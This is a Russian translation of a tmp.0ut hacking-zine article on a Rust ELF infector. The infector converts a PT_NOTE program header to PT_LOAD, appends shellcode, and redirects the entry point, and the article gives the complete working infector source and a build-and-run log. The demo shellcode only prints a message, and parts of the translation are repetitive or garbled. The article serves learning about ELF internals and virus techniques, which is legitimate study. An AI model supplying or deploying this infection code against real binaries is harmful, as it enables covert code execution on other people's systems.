\_______________________________________________________________________/
o_/_________________________________________________________________________\_o
| | ___________ __ | |
| | \__ ___/____ ______ ____ __ ___/ |_ | |
| | | | / \\____ \ / _ \| | \ __\ | |
| | | || Y Y \ |_> > ( <_> ) | /| | | |
| | |____||__|_| / __/ /\ \____/|____/ |__| | |
| | \/|__| \/ | |
| | | |
| | ::: PT_NOTE->PT_LOAD ELF инъектор (на Rust) ::: | |
| | `- с любовью от d3npa и tmp.0ut <3 | |
| | [ перевод @IamAlwaysAngry Captain ] | |
+------------------------------------------------------------------------------
| Японская версия на Github / 日本語版はGithubにてご覧できます
| https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector
+------------------------------------------------------------------------------
Я прочитал в блоге SymbolCrash о технике внедрения shellcode
в двоичный файл ELF путем преобразования PT_NOTE в заголовках программы в
PT_LOAD. Я подумал, что это звучит интересно, и я мало что знал о
ELF, поэтому я воспользовался этим как возможностью узнать много нового сразу.
Для этого проекта я создал небольшую, еще не законченную библиотеку,
назвал её mental_elf, которая упрощает парсинг и запись метаданных ELF.
Я думаю код библиотеки очень прост и понятен, поэтому я не буду
вдаваться в подробности здесь.
====[ обзор ]===============================================================
Как следует из названия, этот метод заражения включает преобразование
Отредактируйте заголовок программы ELF и замените
PT_NOTE на PT_LOAD для запуска shellcode.
Инфекция будет в три этапа:
- Добавьте shellcode в конец файла ELF
- Загрузите shellcode по указанному адресу в виртуальной памяти
- Перепишите точку входа ELF на указаный выше адрес так, чтобы shellcode
выполнялся первым
Shellcode также должен быть пропатчен для каждого ELF, чтобы он возвращался к
исходной точке входа хоста ELF, позволяя хосту нормально работать после
завершения shellcode. Когда shellcode завершит обработку, передайте обработку
исходной точке входа, сгенерируйте инструкции "прыжка назад" из исходной
точки входа и исправьте shellcode.
Shellcode добавленый в конец ELF, может быть загружен в виртуальную память
через заголовок PT_LOAD. Вставка нового заголовка программы в файл ELF,
скорее всего, сломает многие смещения по всему двоичному файлу, поэтому,
можно заменить существующий заголовок PT_NOTE, изменить и PT_LOAD, не нарушая
смещения PT_NOTE. Менять PT_LOAD, чтобы вспомогательные файлы не менялясь.
Вот примечание об Note Section в ELF Specification:
+--------------------------------------------------------------------------
| Информация о примечании не является обязательной. Наличие информации
| примечания не влияет на соответствие программы ABI, при условии,
| что эта информация не влияет на поведение программы при ее выполнении.
| В противном случае программа не соответствует ABI и имеет неопределенное
| поведение
+--------------------------------------------------------------------------
У этого метода есть два недостатка:
- Эта реализация не поддерживает PIE (Position Independent Execution) ELF.
- Среда выполнения языка Go фактически ожидает допустимый раздел PT_NOTE
для проверки информации о версии для запуска, поэтому этот метод
не может использоваться с двоичными файлами Go.
Примечание: PIE - это `-no-pie` для cc и `-C relocation-model = static` для
rustc. Его можно отключить с помощью параметра компилятора.
====[ shellcode ]==============================================================
Предоставляемый shellcode написан для Netwide ASseMbler (NASM).
Обязательно установите `nasm` перед запуском Makefile!
Чтобы создать shellcode, подходящий для этой инъекции, есть несколько вещей о
которых стоить помнить. В разделе 3.4.1 спецификации AMD64 System V ABI
говорится: перед входом в регистры rbp, rsp и rdx должны быть установлены
правильные значения, просто поместите эти регистры в начало shellcode.
Все, что вам нужно сделать, это push и pop.
Не трогай rbp, rsp в своем shellcode, но в конце rdx возвращается в ноль.
Shellcode также необходимо пропатчить, чтобы он действительно мог
"прыгнуть назад" к исходной точке входа хоста, после завершения. Чтобы упростить
исправление, Shellcode может быть спроектирован так, чтобы запускаться с конца
файла, либо написанные сверху-вниз или "прыжок" к пустой метке в конце:
+--------------------------------------------------------------------------
| main_tasks:
| ; ...
| jmp finish
| other_tasks:
| ; ...
| finish:
+--------------------------------------------------------------------------
При такой конструкции исправление так же просто, как добавление инструкции
перехода. Однако в x86_64 jmp не может принимать 64-битный операнд - вместо
этого адресат сохраняется в rax, а затем создается jmp rax. Этот фрагмент
ржавчины(rust) исправляет байт-вектор "shellcode" для добавления перехода к
entry_point:
+--------------------------------------------------------------------------
| fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
| // Сохраняем entry_point в rax
| shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
| shellcode.extend_from_slice(&entry_point.to_ne_bytes());
| // Переход к адресу в rax
| shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
| }
+--------------------------------------------------------------------------
====[ infector ]===============================================================
Сам инфектор находится в src / main.rs.
Он написан в удобном для понимания формате. Все, что вам нужно сделать, это
прочитать этот файл сверху вниз. Я также добавил комментарии, чтобы помочь.
Код использует мою библиотеку mental_elf, чтобы абстрагироваться от деталей
чтения и записи файла, так легче понять технику.
Таким образом, код
- Принимает 2 параметра интерфейса командной строки: цель ELF и файл shellcode
- Читает заголовки ELF и Program из файла ELF
- Исправляет shellcode с помощью `jmp` к исходной точке входа
- Добавляет исправленный shellcode в ELF
- Находит заголовок программы `PT_NOTE` и преобразует его в` PT_LOAD`
- Изменяет точку входа ELF на начало shellcode
- Сохраняет измененные структуры заголовков обратно в файл ELF
При запуске зараженного файла ELF загрузчик ELF отобразит несколько разделов.
Файл ELF в виртуальную память - наш упакованный PT_LOAD гарантирует, что наш
шелл загружен и исполняется. Затем точка входа ELF запускает
выполнение шелла, исполняемый файл. Затем точка входа ELF запускает выполнение
шелла. Затем шелл заканчивается, затем он переходит к исходной точке
входа, позволяя двоичному файлу выполнить свой исходный код.
+--------------------------------------------------------------------------
| $ make
| cd files && make && cd ..
| make[1]: Entering directory '/.../files'
| rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs
| nasm -o shellcode.o shellcode.s
| make[1]: Leaving directory '/.../files'
| cargo run --release files/target files/shellcode.o
| Compiling mental_elf v0.1.0
(https://github.com/d3npa/mental-elf#0355d2d3)
| Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...)
| Finished release [optimized] target(s) in 1.15s
| Running `target/release/ptnote-to-ptload-elf-injection files/target
files/shellcode.o`
| Found PT_NOTE section; converting to PT_LOAD
| echo 'Done! Run target with: `./files/target`'
| Done! Run target with: `./files/target`
| $ ./files/target
| dont tell anyone im here
| hello world!
| $
+--------------------------------------------------------------------------
====[ P.S. ]================================================================
Это был такой веселый проект! Я так много узнал о Rust, ELF и вирусах в
основном. Спасибо netspooky, sblip, TMZ и другим на tmp.out за обучение,
помогали мне отлаживать и мотивировали меня заниматься этим проектом <3
Дополнительные ссылки:
- https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
- http://www.skyfree.org/linux/references/ELF_Format.pdf
- https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf
- https://github.com/d3npa/mental-elf
Исходный код ниже:
------------------------------------------------------------------------------
Cargo.toml
------------------------------------------------------------------------------
[package]
...
[dependencies.mental_elf]
git = "https://github.com/d3npa/mental-elf"
rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b"
------------------------------------------------------------------------------
main.rs
------------------------------------------------------------------------------
use mental_elf::elf64::constants::*;
use std::{env, fs, process};
use std::io::prelude::*;
use std::io::SeekFrom;
fn main() -> Result<(), Box<dyn std::error::Error>> {
let args: Vec<String> = env::args().collect();
if args.len() != 3 {
eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]);
process::exit(1);
}
let elf_path = &args[1];
let sc_path = &args[2];
// Открываем целевой ELF-файл с разрешениями RW
let mut elf_fd = fs::OpenOptions::new()
.read(true)
.write(true)
.open(&elf_path)?;
// Загружаем шеллкод из файла
let mut shellcode: Vec<u8> = fs::read(&sc_path)?;
// Разбираем ELF и заголовки программ
let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?;
let mut program_headers = mental_elf::read_elf64_program_headers(
&mut elf_fd,
elf_header.e_phoff,
elf_header.e_phnum,
)?;
// Исправляем шелл-код для перехода к исходной точке входа после завершения
patch_jump(&mut shellcode, elf_header.e_entry);
// Добавляем шелл-код в самый конец целевого ELF
elf_fd.seek(SeekFrom::End(0))?;
elf_fd.write(&shellcode)?;
// Вычислить смещения, используемые для исправления заголовков ELF
// и программ
let sc_len = shellcode.len() as u64;
let file_offset = elf_fd.metadata()?.len() - sc_len;
let memory_offset = 0xc00000000 + file_offset;
// Ищем секцию PT_NOTE
for phdr in &mut program_headers {
if phdr.p_type == PT_NOTE {
// Преобразование в раздел PT_LOAD со значениями для загрузки
// шеллкода
println!("Found PT_NOTE section; converting to PT_LOAD");
phdr.p_type = PT_LOAD;
phdr.p_flags = PF_R | PF_X;
phdr.p_offset = file_offset;
phdr.p_vaddr = memory_offset;
phdr.p_memsz += sc_len as u64;
phdr.p_filesz += sc_len as u64;
// Исправляем заголовок ELF, чтобы он начинался с шеллкода
elf_header.e_entry = memory_offset;
break;
}
}
// Фиксировать изменения в программе и заголовках ELF
mental_elf::write_elf64_program_headers(
&mut elf_fd,
elf_header.e_phoff,
elf_header.e_phnum,
program_headers,
)?;
mental_elf::write_elf64_header(&mut elf_fd, elf_header)?;
Ok(())
}
fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
// Сохраняем entry_point в rax
shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
shellcode.extend_from_slice(&entry_point.to_ne_bytes());
// Переход к адресу в rax
shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------